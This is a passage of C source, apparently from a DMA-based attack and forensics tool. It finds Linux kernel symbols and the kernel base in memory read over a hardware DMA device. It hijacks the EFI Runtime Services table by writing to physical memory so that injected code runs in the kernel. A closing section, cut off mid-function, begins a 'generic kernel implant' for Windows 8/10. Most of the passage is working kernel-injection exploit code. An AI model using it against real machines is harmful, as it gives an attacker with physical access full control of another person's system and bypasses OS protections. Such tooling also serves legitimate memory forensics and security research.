pcboMarkersMaxNameOffset)\n{\n    BOOL fResult = FALSE;\n    DWORD cbo, cbo8, cbe = 4, cMarkers = 0;\n    QWORD qw1, qw2;\n    cbo = (cboTokenTable - 0x10) & ~0xf;\n    while(cbo) {\n        if(0 == *(PDWORD)(pb + cbo)) {\n            cbo8 = (cbo + 3) & ~7;\n            if(0 == *(PQWORD)(pb + cbo8)) {\n                qw1 = *(PQWORD)(pb + cbo8 + 8);\n                qw2 = *(PQWORD)(pb + cbo8 + 16);\n                if(qw1 && qw2 && (qw1 < qw2) && (qw2 < 0x01000000)) {\n                    cbo = cbo8;\n                    cbe = 8;\n                    break;\n                }\n            } else {\n                qw1 = *(PDWORD)(pb + cbo + 4);\n                qw2 = *(PDWORD)(pb + cbo + 8);\n                if(qw1 && qw2 && (qw1 < qw2) && (qw2 < 0x01000000)) {\n                    break;\n                }\n            }\n        }\n        cbo -= 4;\n    }\n    *pcboStart = cbo;\n    while(cbo < cboTokenTable - 0x10) {\n        if(cbe == 4) {\n            qw1 = *(PDWORD)(pb + cbo);\n            qw2 = *(PDWORD)(pb + cbo + 4);\n        } else {\n            qw1 = *(PQWORD)(pb + cbo);\n            qw2 = *(PQWORD)(pb + cbo + 8);\n        }\n        if(!qw2 || (qw1 >= qw2) || (qw2 >= 0x01000000)) {\n            break;\n        }\n        cMarkers++;\n        cbo += cbe;\n    }\n    *pcboMarkersMaxNameOffset = *(PDWORD)(pb + *pcboStart + cMarkers * cbe);\n    return (cMarkers > 0x10) && (*pcboMarkersMaxNameOffset < 0x01000000);\n}\n\n/*\n* The kallsyms token table is a table of 256 string fragments. Entries for 0-9,\n* A-Z and a-z are stored at the matching position for their ascii value.\n* An initial quick-check is done for the pattern '0123' & '4567' and then an\n* attempt to parse the entire table is done.\n* Following the tables there is the index table consisting of 256 WORDs with\n* token table string offsets. Verify this as well.\n*/\n_Success_(return)\nBOOL KMD_Kallsyms_FindTokenTable(_In_reads_bytes_(cb) PBYTE pb, _In_ DWORD cb, _Out_writes_(256) LPSTR *pszTokenTable, _Out_ PDWORD pcboStart, _Out_ PDWORD pcboEnd)\n{\n    CHAR c;\n    DWORD t;\n    DWORD o1, o2, o3;\n    o1 = 0x4000;\n    while(o1 < cb - 0x1000) {\nscan_next:\n        o1++;\n        if((0x0033003200310030 == *(PQWORD)(pb + o1)) && (0x0037003600350034 == *(PQWORD)(pb + o1 + 8))) {\n            // potential match:\n            // scan back to find start of table:\n            t = '0';\n            o2 = o1;\n            while(TRUE) {\n                o3 = 0;\n                while(TRUE) {\n                    o2--;\n                    c = pb[o2];\n                    if(!c) { break; }\n                    if(!t && ((c < 0x10) || (c > 'z'))) { break; }\n                    o3++;\n                    if(o3 > 0x40) { goto scan_next; }\n                }\n                if(!t) { break; }\n                t--;\n            }\n            o2++;\n            if(o2 & 3) { goto scan_next; }\n            *pcboStart = o2;\n            // scan forward to match char sequences incl. 0-9, A-Z, a-z\n            for(t = 0; t < 256; t++) {\n                if(o2 + 512 > cb) { return FALSE; }\n                pszTokenTable[t] = (LPSTR)(pb + o2);\n                // char is in range 0-9, A-Z, a-z:\n                if(((t >= '0') && (t <= '9')) || ((t >= 'A') && (t <= 'Z')) || ((t >= 'a') && (t <= 'z'))) {\n                    if((t != pb[o2]) || pb[o2 + 1]) { goto scan_next; }\n                    o2 += 2;\n                    continue;\n                }\n                // other char sequence:\n                o3 = 0;\n                while(TRUE) {\n                    c = pb[o2 + o3];\n                    if(c == 0) {\n                        if(o3 == 0) { goto scan_next; }\n                        o2 += o3 + 1;\n                        break;\n                    }\n                    if((c < 0x10) || (o3 > 0x40)) { goto scan_next; }\n                    o3++;\n                }\n            }\n            o2 = (o2 + 7) & ~7;\n            *pcboEnd = o2;\n            // verify token index table:\n            if(o2 + 512 > cb) { return FALSE; }\n            for(t = 0; t < 256; t++) {\n                if(*(PWORD)(pb + *pcboEnd + (t * 2)) != (DWORD)((SIZE_T)pszTokenTable[t] - (SIZE_T)pb - *pcboStart)) {\n                    goto scan_next;\n                }\n            }\n            *pcboEnd += 256 * sizeof(WORD);\n            return TRUE;\n        }\n    }\n    return FALSE;\n}\n\n/*\n* Retrieve the symbols and addresses from the compressed kallsyms table.\n* The result is a map of 'KALLSYMS_SYMBOL' with the symbol name hash as key.\n* CALLER DECREF: return\n*/\n_Success_(return != NULL)\nPOB_MAP KMD_Kallsyms(_In_reads_bytes_(cb) PBYTE pb, _In_ DWORD cb)\n{\n    QWORD vaKernelBase;\n    DWORD cboTokenTableStart, cboTokenTableEnd, cboMarkersStart, cboMarkersMaxNameOffset, cboNamesStart, cSymbols, cboOffsets, cboEnd;\n    LPSTR aszTokenTable[256] = { 0 };\n    if(cb < 0x10000) {\n        return NULL;\n    }\n    if(!KMD_Kallsyms_FindTokenTable(pb, cb, aszTokenTable, &cboTokenTableStart, &cboTokenTableEnd)) {\n        return NULL;\n    }\n    if(!KMD_Kallsyms_FindMarkers(pb, cb, cboTokenTableStart, &cboMarkersStart, &cboMarkersMaxNameOffset)) {\n        return NULL;\n    }\n    if(!KMD_Kallsyms_FindNames(pb, cb, cboMarkersStart, cboMarkersMaxNameOffset, &cboNamesStart, &cSymbols)) {\n        return NULL;\n    }\n    if(!KMD_Kallsyms_FindOffsets(pb, cb, cboNamesStart, 0, cSymbols, &cboOffsets, &vaKernelBase)) {\n        // more recent kernels have the offset table after the token table instead of before the names table.\n        // -> try again with the offset table at the end of the token table.\n        cboEnd = cboTokenTableEnd + cSymbols * 4 + 0x20;\n        if((cboEnd > cb) || !KMD_Kallsyms_FindOffsets(pb, cb, 0, (cboTokenTableEnd + 7) & ~7, cSymbols, &cboOffsets, &vaKernelBase)) {\n            return NULL;\n        }\n    }\n    return KMD_Kallsyms_Collect(pb, cb, vaKernelBase, aszTokenTable, cSymbols, cboOffsets, cboNamesStart, cboMarkersStart);\n}\n\n/*\n* Resolve symbols from the compressed kallsyms table.\n*/\nVOID KMD_LinuxFindFunctionAddrTBL_FromKallsyms(_In_ PBYTE pb, _In_ DWORD cb, _In_ PKERNELSEEKER pS, _In_ DWORD cS)\n{\n    DWORD i;\n    QWORD vaBase;\n    DWORD cResolve;\n    PKALLSYMS_SYMBOL pSym;\n    POB_MAP pmObSymbols = NULL;\n    // 1: skip if all symbols are resolved:\n    cResolve = 0;\n    for(i = 0; i < cS; i++) {\n        if(pS[i].vaFn) {\n            cResolve++;\n        }\n    }\n    if(cS == cResolve) { return; }\n    // 2: resolve symbols from compressed kallsyms:\n    cResolve = 0;\n    if((pmObSymbols = KMD_Kallsyms(pb, cb))) {\n        pSym = ObMap_GetByKey(pmObSymbols, CharUtil_Hash64A(\"startup_64\", FALSE));\n        if(pSym) {\n            vaBase = pSym->va;\n            for(i = 0; i < cS; i++) {\n                pSym = ObMap_GetByKey(pmObSymbols, CharUtil_Hash64A((LPSTR)(pS[i].pbSeek + 1), FALSE));\n                if(pSym && !pS[i].vaFn) {\n                    pS[i].aFn = pS[i].aSeek = (DWORD)(pSym->va - vaBase);\n                    pS[i].vaFn = pS[i].vaSeek = pSym->va;\n                    cResolve++;\n                }\n            }\n        }\n        Ob_DECREF(pmObSymbols);\n    }\n}\n\n\n\n//-------------------------------------------------------------------------------\n// LINUX generic kernel seek below. Comes in two versions:\n// 4.6- version that works with 32 and 64-bit addressing\n// 4.8+ version that works with 64-bit addressing, 32-bit will work too if kernel is KASLRed <4GB.\n//-------------------------------------------------------------------------------\n\nDWORD KMD_LinuxFindFunctionAddr(_In_ PBYTE pb, _In_ DWORD cb, _In_ PKERNELSEEKER pS, _In_ DWORD cS)\n{\n    DWORD o, i, c = 0;\n    for(o = 0; o < cb - 0x1000; o++) {\n        for(i = 0; i < cS; i++) {\n            if(!pS[i].aSeek && !memcmp(pb + o, pS[i].pbSeek, pS[i].cbSeek) && pb[o + pS[i].cbSeek]) {\n                pS[i].aSeek = o + 1;\n                c++;\n                if(c == cS) { return c; }\n            }\n        }\n    }\n    return c;\n}\n\n/*\n* Locate function addresses in symtab with absolute addressing.\n*/\nVOID KMD_LinuxFindFunctionAddrTBL_Absolute(_In_ PBYTE pb, _In_ DWORD cb, _In_ PKERNELSEEKER pS, _In_ DWORD cS)\n{\n    DWORD o, i;\n    for(o = 0x1000; o < cb - 0x1000; o = o + 8) {\n        if(((*(PQWORD)(pb + o) & 0xffffffff00000000) == 0xffffffff00000000) && ((*(PQWORD)(pb + o - 8) & 0xffffffff00000000) == 0xffffffff00000000)) { // kernel addr ptr\n            for(i = 0; i < cS; i++) {\n                if(pS[i].aSeek && !pS[i].aTableEntry) {\n                    if((*(PQWORD)(pb + o) & 0x1fffff) == (0x1fffff & pS[i].aSeek)) { // KASLR align on 2MB boundaries (0x1fffff)\n                        if((*(PQWORD)(pb + o) & ~0x1fffff) != (*(PQWORD)(pb + o - 8)  & ~0x1fffff)) { // several tables may exists - skip symbol name table)\n                            pS[i].aTableEntry = o;\n                            pS[i].vaSeek = *(PQWORD)(pb + o);\n                            pS[i].vaFn = *(PQWORD)(pb + o - 8);\n                        }\n                    }\n                }\n            }\n        }\n    }\n}\n\n_Success_(return)\nBOOL KMD_LinuxFindFunctionAddrTBL_RelativeSymTabSearch(_In_ PBYTE pb, _In_ DWORD cb, _In_ DWORD cbStart, _In_ PKERNELSEEKER pS)\n{\n    DWORD o, oFn;\n    for(o = cbStart; o < cb - 8; o += 4) {\n        if(o + *(PDWORD)(pb + o + 4) + 4 == pS->aSeek) {\n            oFn = o + *(PDWORD)(pb + o);\n            if((oFn < 0x02000000) && !(oFn & 0xf) && (oFn != o)) {\n                pS->aTableEntry = o;\n                pS->aFn = oFn;\n                return TRUE;\n            }\n        }\n    }\n    return FALSE;\n}\n\nQWORD KMD_LinuxFindFunctionAddrTBL_FromSystemMap_GetAddressFromName(_In_ LPSTR sz)\n{\n    CHAR szNeedle[MAX_PATH], *szFind;\n    if(_snprintf_s(szNeedle, sizeof(szNeedle), _TRUNCATE, \" T %s\\n\", sz) <= 0) { return 0; }\n    szFind = strstr((LPSTR)ctxMain->cfg.pbIn + 16, szNeedle);\n    if(!szFind) { return 0; }\n    return strtoull(szFind - 16, NULL, 16);\n}\n\nVOID KMD_LinuxFindFunctionAddrTBL_FromSystemMap(_In_ PBYTE pb, _In_ DWORD cb, _Inout_updates_(cS) PKERNELSEEKER pS, _In_ DWORD cS, _In_ QWORD vaBase)\n{\n    QWORD i, o, va_startup_64, va;\n    if(ctxMain->cfg.cbIn < 32) { return; }\n    ctxMain->cfg.pbIn[ctxMain->cfg.cbIn - 1] = 0;\n    va_startup_64 = KMD_LinuxFindFunctionAddrTBL_FromSystemMap_GetAddressFromName(\"startup_64\") & 0xFFFFFFFFFFE00000;\n    if(!va_startup_64) { return; }\n    for(i = 0; i < cS; i++) {\n        if(pS[i].cbSeek > 1) {\n            va = KMD_LinuxFindFunctionAddrTBL_FromSystemMap_GetAddressFromName(pS[i].pbSeek + 1);\n            if((va <= va_startup_64) || (va & 0xf)) { continue; }\n            o = va - va_startup_64;\n            if(!o || (o > cb)) { continue; }\n            if((pb[o - 1] != 0xcc) && (pb[o - 1] != 0x90)) { continue; }\n            pS[i].aFn = (DWORD)o;\n            pS[i].vaFn = vaBase + o;\n            if(!pS[i].aSeek) { pS[i].aSeek = (DWORD)o; }\n            pS[i].vaSeek = vaBase + pS[i].aSeek;\n        }\n    }\n}\n\n/*\n* Locate function addresses in symtab with relative addressing.\n*/\nVOID KMD_LinuxFindFunctionAddrTBL_Relative(_In_ PBYTE pb, _In_ DWORD cb, _Inout_updates_(cS) PKERNELSEEKER pS, _In_ DWORD cS)\n{\n    QWORD va, vaBase = (QWORD)-1;\n    DWORD i, o, c = 0;\n    // 1: Locate virtual address base of kernel by just scanning for lowest value\n    //    of qualifying pointer - dirty but it seems to be working ...\n    for(i = 0, o = pS->aSeek & ~0xf; o < cb - 8; o += 8) {\n        va = *(PQWORD)(pb + o);\n        if(((va & 0xffffffff80000fff) == (0xffffffff80000000)) && (va != 0xffffffff80000000)) {\n            vaBase = min(vaBase, va & 0xffffffffffe00000);\n            if(++i == 0x100) { break; }\n        }\n    }\n    if(vaBase == (QWORD)-1) {\n        return;\n    }\n    // 2: Locate from user-supplied System.map file (if any):\n    if(0 == _stricmp(ctxMain->cfg.szKMDName, \"LINUX_X64_MAP\")) {\n        KMD_LinuxFindFunctionAddrTBL_FromSystemMap(pb, cb, pS, cS, vaBase);\n    }\n    // 3: Locate relative addresses of functions from symtab and fix virtual addresses\n    for(i = 0; i < cS; i++) {\n        if(!pS[i].aSeek || pS[i].vaSeek) { continue; }\n        if(!KMD_LinuxFindFunctionAddrTBL_RelativeSymTabSearch(pb, cb, ((pS[i].aSeek & ~0xf) - 0x00100000), pS + i)) { continue; }\n        pS[i].vaSeek = vaBase + pS[i].aSeek;\n        pS[i].vaFn = vaBase + pS[i].aFn;\n    }\n}\n\nVOID KMD_LinuxFindFunctionAddrTBL(_In_ PBYTE pb, _In_ DWORD cb, _In_ PKERNELSEEKER pS, _In_ DWORD cS)\n{\n    KMD_LinuxFindFunctionAddrTBL_Absolute(pb, cb, pS, cS);\n    KMD_LinuxFindFunctionAddrTBL_Relative(pb, cb, pS, cS);\n}\n\n#define CONFIG_LINUX_SEEK_BUFFER_SIZE       0x01000000\n#define CONFIG_LINUX_SEEK_CKSLIDES          512\n_Success_(return)\nBOOL KMD_Linux46KernelSeekSignature(_Out_ PSIGNATURE pSignature)\n{\n    BOOL result = FALSE;\n    KERNELSEEKER ks[2] = {\n        { .pbSeek = (PBYTE)\"\\0kallsyms_lookup_name\",.cbSeek = 22 },\n        { .pbSeek = (PBYTE)\"\\0vfs_read\",.cbSeek = 10 }\n    };\n    DWORD cKSlide, dwKernelBase;\n    PBYTE pb = LocalAlloc(0, CONFIG_LINUX_SEEK_BUFFER_SIZE);\n    if(!pb) { return FALSE; }\n    for(cKSlide = 0; cKSlide < CONFIG_LINUX_SEEK_CKSLIDES; cKSlide++) {\n        // calculate the kernel base (@16M if no KASLR, @2M offsets if KASLR).\n        // read 16M of memory first, if KASLR read 2M chunks at top of analysis buffer (performance reasons).\n        dwKernelBase = 0x01000000 + cKSlide * 0x00200000; // KASLR = 16M + ([RND:0..511] * 2M) ???\n        if(cKSlide == 0) {\n            DeviceReadDMA(dwKernelBase, 0x01000000, pb, NULL);\n        } else {\n            memmove(pb, pb + 0x00200000, CONFIG_LINUX_SEEK_BUFFER_SIZE - 0x00200000);\n            DeviceReadDMA_Retry(\n                ctxMain->hLC,\n                (QWORD)dwKernelBase + CONFIG_LINUX_SEEK_BUFFER_SIZE - 0x00200000,\n                0x00200000,\n                pb + CONFIG_LINUX_SEEK_BUFFER_SIZE - 0x00200000);\n        }\n        if(2 == KMD_LinuxFindFunctionAddr(pb, CONFIG_LINUX_SEEK_BUFFER_SIZE, ks, 2)) {\n            KMD_LinuxFindFunctionAddrTBL(pb, CONFIG_LINUX_SEEK_BUFFER_SIZE, ks, 2);\n            if(ks[0].vaFn && ks[1].vaFn) {\n                Util_CreateSignatureLinuxGeneric(dwKernelBase, ks[0].aSeek, ks[0].vaSeek, ks[0].vaFn, ks[1].aSeek, ks[1].vaSeek, ks[1].vaFn, pSignature);\n                result = TRUE;\n                break;\n            }\n        }\n    }\n    LocalFree(pb);\n    return result;\n}\n\nQWORD KMD_Linux48KernelBaseSeek()\n{\n    PPAGE_STATISTICS pPageStat = NULL;\n    BYTE pb[0x1000], pbCMPcc[0x400], pbCMP90[0x400], pbCMP00[0x100];\n    QWORD qwA, qwAddrMax, i, paKernelBaseLowQuality = 0, paKernelBaseMediumQuality = 0;\n    BOOL isAuthenticAMD, isGenuineIntel, isOK;\n    memset(pbCMPcc, 0xcc, 0x400);\n    memset(pbCMP90, 0x90, 0x400);\n    memset(pbCMP00, 0x00, 0x100);\n    qwA = max(0x01000000, ctxMain->cfg.paAddrMin) & 0xffffffffffe00000;\n    qwAddrMax = max(0x01000000, (ctxMain->dev.paMax - 0x01000000) & 0xffffffffffe00000);\n    if(!PageStatInitialize(&pPageStat, qwA, qwAddrMax, \"Scanning for Linux kernel base\", FALSE, FALSE)) { return 0; }\n    // Linux kernel uses 2MB pages. Base of kernel is assumed to have AuthenticAMD and GenuineIntel strings\n    // in first page. First page should also end with at least 0x400 0x90's. 2nd page (hypercall page?) is\n    // assumed to end with 0x100 0x00's.\n    for(; qwA <= qwAddrMax; qwA += 0x00200000) {\n        pPageStat->qwAddr = qwA;\n        if(!LcRead(ctxMain->hLC, qwA, 0x1000, pb)) {\n            PageStatUpdate(pPageStat, qwA, 0, 512);\n            continue;\n        }\n        PageStatUpdate(pPageStat, qwA, 512, 0);\n        // Search for head.S byte pattern.\n        isGenuineIntel = isAuthenticAMD = FALSE;\n        for(i = 4; i < 0xff8; i++) {\n            if((0xbfd08ec08ed88e00 == *(PQWORD)(pb + i)) && (i >= 4)) {\n                if((0x000018b8 == *(PDWORD)(pb + i - 4)) || (0x000010b8 == *(PDWORD)(pb + i - 4))) {\n                    paKernelBaseMediumQuality = qwA;\n                }\n            }\n        }\n        // Search for GenuineIntel and AuthenticAMD strings.\n        isGenuineIntel = isAuthenticAMD = FALSE;\n        for(i = 0; i < 0x400; i++) {\n            isAuthenticAMD |= ((0x68747541 == *(PDWORD)(pb + i)) && (0x69746e65 == *(PDWORD)(pb + i + 8)) && (0x444d4163 == *(PDWORD)(pb + i + 16)));\n            isGenuineIntel |= ((0x756e6547 == *(PDWORD)(pb + i)) && (0x49656e69 == *(PDWORD)(pb + i + 8)) && (0x6c65746e == *(PDWORD)(pb + i + 16)));\n        }\n        if(!isGenuineIntel || !isAuthenticAMD) {\n            continue;\n        }\n        // This is a low-quality candidate, save in case we don't find a better one.\n        paKernelBaseLowQuality = qwA;\n        // Verify that page ends with 0x400 NOPs (0x90) or 0x400 0xCC.\n        if(!LcRead(ctxMain->hLC, qwA, 0x1000, pb) || (memcmp(pb + 0xc00, pbCMP90, 0x400) && memcmp(pb + 0xc00, pbCMPcc, 0x400))) {\n            continue;\n        }\n        // read kernel base +0x1000/+0x2000 (hypercall page?) and check that it ends/contains:\n        isOK = (LcRead(ctxMain->hLC, qwA + 0x1000, 0x1000, pb) && !memcmp(pb + 0xf00, pbCMP00, 0x100));             // at least 0x100 0x00\n        isOK = isOK || (LcRead(ctxMain->hLC, qwA + 0x2000, 0x1000, pb) && !memcmp(pb + 0xf00, pbCMP00, 0x100));     // at least 0x100 0x00\n        isOK = isOK || !memcmp(pb + 0xfe0, pbCMP90, 0x1f);                                                          // ends with a number of (0x90+0xC3)NOP+RET\n        isOK = isOK || ((pb[0xfe0] == 0xc3) && !memcmp(pb + 0xfe1, pbCMPcc, 0x1f));                                 // ends with a number of (0xCC+0xC3)INT3+RET\n        if(isOK) {\n            PageStatClose(&pPageStat);\n            return qwA;\n        }\n    }\n    PageStatClose(&pPageStat);\n    return paKernelBaseMediumQuality ? paKernelBaseMediumQuality : paKernelBaseLowQuality;\n}\n\n#define KMD_LINUX48SEEK_MAX_BYTES       0x03000000      // 48MB\nVOID KMD_Linux48KernelSeekSignature_KallsymsFromKDBGetSym(_In_reads_(KMD_LINUX48SEEK_MAX_BYTES) PBYTE pb, _In_ PKERNELSEEKER pKDBGetSym, _Inout_ PKERNELSEEKER pKallsyms)\n{\n    DWORD o, aRel;\n    // sloppy dism to find 1st CALL (guess it's to callsyms_lookup_name)\n    if(pKDBGetSym->aFn > KMD_LINUX48SEEK_MAX_BYTES - 0x1000) { return; }\n    for(o = 0; o < 0x60; o++) {\n        if(pb[pKDBGetSym->aFn + o] == 0xE8) {\n            aRel = pKDBGetSym->aFn + o + 5 + *(PDWORD)(pb + pKDBGetSym->aFn + o + 1);\n            if(aRel < KMD_LINUX48SEEK_MAX_BYTES - 0x1000) {\n                pKallsyms->aFn = aRel;\n                pKallsyms->vaFn = pKDBGetSym->vaFn - pKDBGetSym->aFn + aRel;\n                // fake copy sz info from KDBGetSym into Kallsyms; it's needed by signature creation\n                pKallsyms->aSeek = pKDBGetSym->aSeek;\n                pKallsyms->vaSeek = pKDBGetSym->vaSeek;\n            }\n        }\n    }\n}\n\n_Success_(return)\nBOOL KMD_Linux48KernelSeekSignature(_Out_ PSIGNATURE pSignature)\n{\n    BOOL result = FALSE;\n    PBYTE pb = NULL;\n    QWORD paKernelBase;\n    PPAGE_STATISTICS pPageStat = NULL;\n    KERNELSEEKER ks[4] = {\n        { .pbSeek = (PBYTE)\"\\0kallsyms_lookup_name\",.cbSeek = 22 },     // kallsyms_lookup_name\n        { .pbSeek = (PBYTE)\"\\0vfs_read\",.cbSeek = 10 },                 // primary hook site\n        { .pbSeek = (PBYTE)\"\\0kdbgetsymval\",.cbSeek = 14 },             // fallback kallsyms_lookup_name\n        { .pbSeek = (PBYTE)\"\\0vfs_getattr_nosec\",.cbSeek = 19 },        // fallback hook site\n    };\n    if(!(pb = LocalAlloc(0, KMD_LINUX48SEEK_MAX_BYTES))) { goto fail; }\n    paKernelBase = KMD_Linux48KernelBaseSeek();\n    if(!paKernelBase) { goto fail; }\n    printf(\"\\n\");\n    if(!PageStatInitialize(&pPageStat, paKernelBase, paKernelBase + KMD_LINUX48SEEK_MAX_BYTES, \"Verifying Linux kernel base\", FALSE, FALSE)) { goto fail; }\n    PageStatUpdate(pPageStat, paKernelBase, 0, 0);\n    DeviceReadDMA(paKernelBase, KMD_LINUX48SEEK_MAX_BYTES, pb, pPageStat);\n    KMD_LinuxFindFunctionAddrTBL_FromKallsyms(pb, KMD_LINUX48SEEK_MAX_BYTES, ks, 4);\n    if((!ks[0].vaFn && !ks[2].vaFn) || (!ks[1].vaFn && !ks[3].vaFn)) {\n        printf(\"                                            !! COMPRESSED SYMBOL TABLE EXPORTS NOT FOUND - FALL BACK TO ORIGINAL APPROACH!\\n\");\n        KMD_LinuxFindFunctionAddr(pb, KMD_LINUX48SEEK_MAX_BYTES, ks, 4);\n        KMD_LinuxFindFunctionAddrTBL_Absolute(pb, KMD_LINUX48SEEK_MAX_BYTES, ks, 4);\n        KMD_LinuxFindFunctionAddrTBL_Relative(pb, KMD_LINUX48SEEK_MAX_BYTES, ks, 4);\n    }\n    if(!ks[0].vaFn && ks[2].vaFn) { // kdbgetsymval exists; but not kallsyms_lookup_name not located\n        KMD_Linux48KernelSeekSignature_KallsymsFromKDBGetSym(pb, &ks[2], &ks[0]);\n    }\n    if(!ks[1].vaFn && ks[3].vaFn) {\n        memcpy(&ks[1], &ks[3], sizeof(KERNELSEEKER));\n    }\n    if(ks[0].vaFn && ks[1].vaFn) {\n        Util_CreateSignatureLinuxGeneric(paKernelBase, ks[0].aSeek, ks[0].vaSeek, ks[0].vaFn, ks[1].aSeek, ks[1].vaSeek, ks[1].vaFn, pSignature);\n        result = TRUE;\n    }\n    // fall-through\nfail:\n    PageStatClose(&pPageStat);\n    LocalFree(pb);\n    return result;\n}\n\n//-------------------------------------------------------------------------------\n// LINUX EFI Runtime Services hijack.\n//-------------------------------------------------------------------------------\n\n_Success_(return)\nBOOL KMDOpen_LinuxEfiRuntimeServicesHijack()\n{\n    BOOL result;\n    QWORD i, o, qwAddrEfiRt;\n    DWORD dwPhysAddrS2, dwPhysAddrS3, *pdwPhysicalAddress;\n    BYTE pb[0x1000], pbOrig[0x1000], pbEfiRt[0x1000];\n    PSIGNATURE pSignature = NULL;\n    pSignature = LocalAlloc(LMEM_ZEROINIT, sizeof(SIGNATURE));\n    if(!pSignature) { goto fail; }\n    //------------------------------------------------\n    // 1: Locate and fetch EFI Runtime Services table.\n    //------------------------------------------------\n    result = KMD_FindSignature_EfiRuntimeServices(&qwAddrEfiRt);\n    if(!result) {\n        printf(\"KMD: Failed. EFI Runtime Services not found.\\n\");\n    }\n    if((qwAddrEfiRt & 0xfff) + 0x88 > 0x1000) {\n        printf(\"KMD: Failed. EFI Runtime Services table located on page boundary.\\n\");\n        goto fail;\n    }\n    result = DeviceReadDMA_Retry(ctxMain->hLC, qwAddrEfiRt & ~0xfff, 0x1000, pbEfiRt);\n    if(!result || !IS_SIGNATURE_EFI_RUNTIME_SERVICES(pbEfiRt + (qwAddrEfiRt & 0xfff))) {\n        printf(\"KMD: Failed. Error reading EFI Runtime Services table.\\n\");\n        goto fail;\n    }\n    //------------------------------------------------\n    // 2: Fetch signature and original data.\n    //------------------------------------------------\n    Util_CreateSignatureLinuxEfiRuntimeServices(pSignature);\n    *(PQWORD)(pSignature->chunk[3].pb + 0x28) = qwAddrEfiRt; // 0x28 == offset data_addr_runtserv.\n    memcpy(pSignature->chunk[3].pb + 0x30, pbEfiRt + (qwAddrEfiRt & 0xfff) + 0x18, 0x70); // 0x30 == offset data_runtserv_table_fn.\n    result = DeviceReadDMA_Retry(ctxMain->hLC, 0, 0x1000, pbOrig);\n    if(!result) {\n        printf(\"KMD: Failed. Error reading at address 0x0.\\n\");\n        goto fail;\n    }\n    //------------------------------------------------\n    // 3: Patch wait to reveive execution of EFI code.\n    //------------------------------------------------\n    DeviceWriteDMA_Retry(ctxMain->hLC, 0, 0x1000, pSignature->chunk[3].pb);\n    for(i = 0; i < 14; i++) {\n        o = (qwAddrEfiRt & 0xfff) + 0x18 + 8 * i; // 14 tbl entries of 64-bit/8-byte size.\n        *(PQWORD)(pbEfiRt + o) = 0x100 + 2 * i; // each PUSH in receiving slide is 2 bytes, offset to code = 0x100.\n    }\n    DeviceWriteDMA_Retry(ctxMain->hLC, qwAddrEfiRt, 0x88 /* 0x18 hdr, 0x70 fntbl */, pbEfiRt + (qwAddrEfiRt & 0xfff));\n    memset(pb, 0, 0x1000);\n    pdwPhysicalAddress = (PDWORD)(pb + 0x20); // 0x20 == offset data_phys_addr_alloc.\n    printf(\n        \"KMD: EFI Runtime Services table hijacked - Waiting to receive execution.\\n\"\n        \"     To trigger EFI execution take action. Example: 'switch user' in the\\n\"\n        \"     Ubuntu graphical lock screen may trigger EFI Runtime Services call.\\n\");\n    do {\n        Sleep(100);\n        if(!DeviceReadDMA_Retry(ctxMain->hLC, 0, 0x1000, pb)) {\n            Util_WaitForPowerCycle();\n            printf(\"KMD: Resume waiting to receive execution.\\n\");\n        }\n    } while(!*pdwPhysicalAddress);\n    dwPhysAddrS2 = *pdwPhysicalAddress;\n    printf(\"KMD: Execution received - waiting for kernel hook to activate ...\\n\");\n    //------------------------------------------------\n    // 4: Restore EFI Runtime Services shellcode and move on to 2nd buffer.\n    //------------------------------------------------\n    LcWrite(ctxMain->hLC, 0, 0x1000, pbOrig);\n    memset(pb, 0, 0x1000);\n    printf(\"KMD: Waiting to receive execution.\\n\");\n    do {\n        Sleep(100);\n        if(!DeviceReadDMA_Retry(ctxMain->hLC, dwPhysAddrS2, 0x1000, pb)) {\n            printf(\"KMD: Failed. DMA Read failed while waiting to receive physical address.\\n\");\n            goto fail;\n        }\n    } while(!*pdwPhysicalAddress);\n    dwPhysAddrS3 = *pdwPhysicalAddress;\n    //------------------------------------------------\n    // 5: Clear 2nd buffer and set up stage #3.\n    //------------------------------------------------\n    memset(pb, 0, 0x1000);\n    LcWrite(ctxMain->hLC, dwPhysAddrS2, 0x1000, pb);\n    result = KMD_SetupStage3(dwPhysAddrS3, pSignature->chunk[4].pb, 4096);\n    LocalFree(pSignature);\n    return result;\nfail:\n    LocalFree(pSignature);\n    return FALSE;\n}\n\n//-------------------------------------------------------------------------------\n// Windows 8/10 generic kernel implant below.\n//-------------------------------------------------------------------------------\n\n_Success_(return)\nBOOL KMD_Win_SearchTableHalpApicRequestInterrupt(_In_ PBYTE pbPage, _In_ QWORD qwPageVA, _Out_ PDWORD dwHookFnPgOffset)\n{\n    DWORD i;\n    BOOL result;\n    for(i = 0; i < (0x1000 - 0x78); i += 8) {\n        result =\n            ((*(PQWORD)(pbPage + i + 0x00) & 0xfffff00000000000) == 0xfffff00000000000) &&\n            ((*(PQWORD)(pbPage + i + 0x10) & ~0xfff) == qwPageVA) &&\n            ((*(PQWORD)(pbPage + i + 0x18) == 0x28) || (*(PQWORD)(pbPage + i + 0x18) == 0x30)) &&\n            ((*(PQWORD)(pbPage + i + 0x78) & 0xffffff0000000000) == 0xfffff80000000000);\n        if(result) {\n            *dwHookFnPgOffset = i + 0x78;\n            return TRUE;\n        }\n    }\n    return FALSE;\n}\n\n_Success_(return)\nBOOL KMDOpen_UEFI_FindEfiBase()\n{\n    PBYTE pb = NULL;\n    PPAGE_STATISTICS pPageStat = NULL;\n    DWORD dwAddrCurrent, dwAddrMax;\n    QWORD o, qwAddr_BOOTSERV, qwAddr_RUNTSERV;\n    printf(\"KMD: Searching for EFI BASE (no -efibase parameter supplied).\\n\");\n    // initialize & allocate memory\n    if(!(pb = LocalAlloc(0, 0x00100000))) { goto fail; }\n    dwAddrCurrent = SIZE_PAGE_ALIGN_4K(ctxMain->cfg.paAddrMin);\n    dwAddrMax = max(0xffffffff, SIZE_PAGE_ALIGN_4K(ctxMain->cfg.paAddrMax) - 1);\n    if(!PageStatInitialize(&pPageStat, dwAddrCurrent, dwAddrMax, \"Searching for EFI BASE\", FALSE, FALSE)) { goto fail; }\n    // loop EFI BASE (IBI SYST) find\n    while(dwAddrCurrent <= dwAddrMax - 0x100000) {\n        if(DeviceReadDMA(dwAddrCurrent, 0x100000, pb, pPageStat)) {\n            for(o = 0; o < 0x100000 - 0x100; o += 8) {\n                if(0x5453595320494249 != *(PQWORD)(pb + o)) { continue; } // IBI SYST\n                qwAddr_BOOTSERV = *(PQWORD)(pb + o + 0x60);\n                qwAddr_RUNTSERV = *(PQWORD)(pb + o + 0x58);\n                if((qwAddr_BOOTSERV & 0xffffffff00000007) || (qwAddr_RUNTSERV & 0xffffffff00000007)) { continue; }\n                if(!(qwAddr_BOOTSERV & 0xfffffff8) || !(qwAddr_RUNTSERV & 